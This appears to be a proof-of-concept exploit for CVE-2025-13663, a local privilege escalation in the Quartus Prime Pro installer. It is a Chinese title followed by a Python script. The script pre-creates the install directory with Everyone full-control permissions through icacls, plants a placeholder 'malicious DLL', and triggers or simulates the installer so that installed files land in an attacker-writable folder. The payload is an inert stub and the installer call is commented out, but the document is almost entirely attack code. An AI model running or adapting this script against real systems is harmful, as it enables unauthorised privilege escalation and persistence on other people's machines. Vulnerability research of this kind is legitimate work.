CVE-2025-13663: Quartus Prime Pro Installer权限检查缺失导致本地权限提升

# CVE-2025-13663 PoC - Quartus Prime Pro Installer Privilege Escalation # This PoC demonstrates the permission check bypass in Quartus Prime Pro Installer import os import subprocess import shutil import ctypes import sys def create_malicious_directory(target_path): """Create target directory with overly permissive ACL""" if not os.path.exists(target_path): os.makedirs(target_path) # Set Everyone full control on the directory # This simulates what an attacker can do as a low-privilege user cmd = f'icacls "{target_path}" /grant Everyone:F /T' subprocess.run(cmd, shell=True, check=True) print(f'[+] Created directory with Everyone full control: {target_path}') def prepare_exploit_payload(target_path): """Prepare malicious DLL to be planted during installation""" malicious_dll = os.path.join(target_path, 'QuartusPrimeHook.dll') # In real attack, this would be a DLL with malicious code dll_content = b'MZ' + b'\x00' * 100 # Minimal PE header with open(malicious_dll, 'wb') as f: f.write(dll_content) print(f'[+] Prepared malicious DLL: {malicious_dll}') return malicious_dll def trigger_installation(target_path): """Trigger Quartus Prime Pro installation""" quartus_installer = 'C:\\intelquartus\\quartus_pro_setup.exe' if os.path.exists(quartus_installer): cmd = f'"{quartus_installer}" --install-dir="{target_path}"' print(f'[+] Triggering installation: {cmd}') # subprocess.run(cmd, shell=True) else: print(f'[-] Installer not found at: {quartus_installer}') print('[+] Simulating installation process...') # Simulate installation writing files to controlled directory for i in range(10): fake_dll = os.path.join(target_path, f'component_{i}.dll') with open(fake_dll, 'wb') as f: f.write(b'MZ' + b'\x00' * 100) print(f'[+] Installation completed - files written to controlled directory') def main(): print('=== CVE-2025-13663 Privilege Escalation PoC ===') print('[!] For authorized security testing only') target_path = 'C:\\ProgramData\\IntelQuartusPrime' # Step 1: Create directory with weak permissions create_malicious_directory(target_path) # Step 2: Prepare payload prepare_exploit_payload(target_path) # Step 3: Trigger vulnerable installation trigger_installation(target_path) print('[+] Attack chain completed') print('[+] The installation process wrote files to a directory with weak permissions') print('[+] Attacker can now modify installed files or plant persistence mechanisms') if __name__ == '__main__': main()